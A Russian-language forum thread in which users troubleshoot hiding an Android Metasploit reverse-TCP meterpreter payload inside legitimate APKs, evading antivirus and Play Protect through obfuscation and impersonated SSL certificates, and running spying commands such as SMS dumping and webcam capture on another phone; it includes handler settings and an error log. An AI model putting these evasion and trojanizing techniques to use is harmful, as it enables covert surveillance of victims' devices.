• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

Android бесступенчатый reverse tcp

fakecop

Green Team
23.12.2016
105
26
BIT
2
Всем привет, я уже не первую неделю борюсь с проблемой обфускации смали кода reverse tcp и именно бесступенчатого реверса.
В Evil-Droid есть вариант создания бесступенчатого реверса и его обфускации, но по каким то причинам это не работает (подозреваю что из за обновления метасплоита), так вот собственно в чем проблема:
Делаю билд через веном и обфесцирую (пробовал и руками и разными инструментами, но все в пустую), если билд чистый и не обработанный, то она определяется как вируся, но зато работает, а если билд прокатан через обфускатор, то он дает сессию но не грузит модули, только модуль core и все.
Есть ли у кого нибудь мысли по этому поводу или догадки хотя бы какие нибудь.
 

narcoloki

Member
05.03.2019
20
0
BIT
0
А через что конкретно вы "обфесцируете"? Handler сами настраиваете или по конфиг. файлу???
 

fakecop

Green Team
23.12.2016
105
26
BIT
2
А через что конкретно вы "обфесцируете"? Handler сами настраиваете или по конфиг. файлу???
msfvenom -p [payload] -x [original apk] клеит нагрузку и апк, и его не детектит
Evil-Droid не помог
И есть еще скрипт на руби он там просто седит пути на рандом (как и в евил дроид по сути, все они копипасчины)
 

narcoloki

Member
05.03.2019
20
0
BIT
0
Попробуй apkwash или avpass с github. А какие AV ругаются?

Да и ты случаем не тестишь их на virustotal перед установкой??? tcp соединение принципиально?
 

fakecop

Green Team
23.12.2016
105
26
BIT
2
Да и ты случаем не тестишь их на virustotal перед установкой??? tcp соединение принципиально?
В телефоне есть стандартные (псевдоав) не просто тсп а именно meterpreter_reverse_tcp
P.S. apkwash тоже не дал результатов
 

narcoloki

Member
05.03.2019
20
0
BIT
0
В телефоне есть стандартные (псевдоав) не просто тсп а именно meterpreter_reverse_tcp
P.S. apkwash тоже не дал результатов
Попробуй meterpreter_https вместе с настройкой ssl сертификата. сертификат возьми c помошью metasploit impreseonate_ssl. Некоторые AV смотрят выходяшие соединения похожие на metasploit handler. Настрой handler на этот сертификат(возьми google например)
 

fakecop

Green Team
23.12.2016
105
26
BIT
2
Лучше я объясню всю суть:
Есть ступенчатый билд meterpreter/reverse_tcp
Как я понимаю, он работает следующим образом: делается билд размером 10кб и служит только в качестве подключения ко второму концу линии т.е. хендлеру и после коннекта подгружаются так называемые ступени (это stapi, core etc..)


И есть бесступенчатый билд (meterpreter_reverse_tcp) размером в 70 кб в котором уже есть и stdapi и core и андроид команды, но проблема в том что обфусцировать безтупку не выходит, хотя некоторые инструменты располагают такими функциями.

Почему не удобно пользоваться беступкой? Потому что в некоторых случаях при использовании команд, например dump_sms, webcam и т.д, устройство не позволяет произвести сие мероприятие (android_dump_sms: failed), да это можно убрать юзая ступку https но соединение по tcp само по себе приятнее и по скорости радует больше, и ради этого стоит заморочится на счёт обфускации

Пробовал даже в смали поменять все пути предварительно переименовав каталоги, в которых находятся метерпретер и пэйлоад и остальные модули, но получает в итоге только поймать соединение в метасплоит консоли и каждые 10 сек оно дублируется и из всего что доступно это команды модуля core
 
  • Нравится
Реакции: sosiskapi

fakecop

Green Team
23.12.2016
105
26
BIT
2
А можешь показать настройки metasploit handler "show advanced"???
И еще за последние время выяснилось, что в бесступенчатом т.е (android/meterpreter/reverse_tcp) не получает данные из за отсутствия прав.
Это лог непосредственно из метасплоита:
Код:
 [e(0)] meterpreter: android_dump_sms: Operation failed: 1
 [d(0)] meterpreter: Call stack:
/opt/metasploit/lib/rex/post/meterpreter/extensions/android/android.rb:186:in `dump_sms'
/opt/metasploit/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb:208:in `cmd_dump_sms'
/opt/metasploit/lib/rex/ui/text/dispatcher_shell.rb:522:in `run_command'
/opt/metasploit/lib/rex/post/meterpreter/ui/console.rb:105:in `run_command'
/opt/metasploit/lib/rex/ui/text/dispatcher_shell.rb:473:in `block in run_single'
/opt/metasploit/lib/rex/ui/text/dispatcher_shell.rb:467:in `each'
/opt/metasploit/lib/rex/ui/text/dispatcher_shell.rb:467:in `run_single'
/opt/metasploit/lib/msf/base/sessions/meterpreter.rb:380:in `run_cmd'
/opt/metasploit/lib/msf/ui/console/command_dispatcher/core.rb:1307:in `block (2 levels) in cmd_sessions'
/opt/metasploit/lib/msf/ui/console/command_dispatcher/core.rb:1293:in `each'
/opt/metasploit/lib/msf/ui/console/command_dispatcher/core.rb:1293:in `block in cmd_sessions'
/opt/metasploit/lib/msf/ui/console/command_dispatcher/core.rb:1292:in `each'
/opt/metasploit/lib/msf/ui/console/command_dispatcher/core.rb:1292:in `cmd_sessions'
/opt/metasploit/lib/rex/ui/text/dispatcher_shell.rb:522:in `run_command'
/opt/metasploit/lib/rex/ui/text/dispatcher_shell.rb:473:in `block in run_single'
/opt/metasploit/lib/rex/ui/text/dispatcher_shell.rb:467:in `each'
/opt/metasploit/lib/rex/ui/text/dispatcher_shell.rb:467:in `run_single'
/opt/metasploit/lib/rex/ui/text/shell.rb:151:in `run'
/opt/metasploit/lib/metasploit/framework/command/console.rb:48:in `start'
/opt/metasploit/lib/metasploit/framework/command/base.rb:82:in `start'

Предполагалось что проблема с кодировкой т.к. система на русской локали а устройство на инглиш, но это не так
Выяснилось что проблема именно в недостаточности прав для совершения команды, это подтверждает logcat с устройства, следовательно отпадают варианты проблем с кодировкой и проблем с подключением (т.к. думал что возможно выбрал неудачный порт и все это из за файервола например провайдер или же системы), а вот с правами что не так, понять не могу, ведь по сути если манифест у мэйнактивити есть и в нем есть запрос на получение прав, то и у стейджа должны быть те же права, но факт остается фактом: на своем тел работает, а на другом нет. *magic*
 

narcoloki

Member
05.03.2019
20
0
BIT
0
Да :) Я тоже вещи которые не могу объяснить, но они работают или наоборот не работают называю "магия"..... Я всё таки имел ввиду в handler'e вводишь "show advanced options" и покажи вывод. Может там что-то не так.
 

fakecop

Green Team
23.12.2016
105
26
BIT
2
Да :) Я тоже вещи которые не могу объяснить, но они работают или наоборот не работают называю "магия"..... Я всё таки имел ввиду в handler'e вводишь "show advanced options" и покажи вывод. Может там что-то не так.
Код:
Module advanced options (exploit/multi/handler):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ExitOnSession           false            yes       Return from the exploit after a session has been created
   ListenerTimeout         0                no        The maximum number of seconds to wait for new sessions
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                0                no        Additional delay when waiting for a session


Payload advanced options (android/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AndroidHideAppIcon           false            no        Hide the application icon automatically after launch
   AndroidMeterpreterDebug      false            no        Run the payload in debug mode, with logging enabled
   AndroidWakelock              true             no        Acquire a wakelock before starting the payload
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySession            true             yes       Automatically verify and drop invalid sessions
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module


Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (android/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.4      yes       The listen address (an interface may be specified)
   LPORT  1337             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target
 

narcoloki

Member
05.03.2019
20
0
BIT
0
Код:
Module advanced options (exploit/multi/handler):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ExitOnSession           false            yes       Return from the exploit after a session has been created
   ListenerTimeout         0                no        The maximum number of seconds to wait for new sessions
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                0                no        Additional delay when waiting for a session


Payload advanced options (android/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AndroidHideAppIcon           false            no        Hide the application icon automatically after launch
   AndroidMeterpreterDebug      false            no        Run the payload in debug mode, with logging enabled
   AndroidWakelock              true             no        Acquire a wakelock before starting the payload
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySession            true             yes       Automatically verify and drop invalid sessions
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module


Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (android/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.4      yes       The listen address (an interface may be specified)
   LPORT  1337             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target
Вроди всё как уменя. Магия... Слушай я последнее время сталкиваюсь с проблемой "Play Зашита не обнаружила информации о разработчике...", у тебя было? Думаю надо склеивать с каким-нибудь приложением и всё решится, но решил у народа поспрашивать. Да и случайно не знаешь про какой-нибудь софт для определения уязвимых для склеивания приложений?
 

fakecop

Green Team
23.12.2016
105
26
BIT
2
Вроди всё как уменя. Магия... Слушай я последнее время сталкиваюсь с проблемой "Play Зашита не обнаружила информации о разработчике...", у тебя было? Думаю надо склеивать с каким-нибудь приложением и всё решится, но решил у народа поспрашивать. Да и случайно не знаешь про какой-нибудь софт для определения уязвимых для склеивания приложений?
На счёт склейки не знаю, на счёт того что плэй защита не нашла данную подпись, это так и будет (чаще всего) ты же не сможешь подписать ключём от реал проги
На счёт ошибки я уже почти разобрался
Проблема в том что когда стэйдж клеишь, то у приложения есть путь, к примеру com.game.apps
А у метасплоит обычно com.metasploit.stage/meterpreter
И когда стэйдж отправляет ступень, то ставиться она непосредственно по пути com.metasploit
Надо либо думать каким образом подгружать ступень в ту же директорию в которой твое приложение склееное, либо делать бесступку и думать каким образом ее можно обфусцировать
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!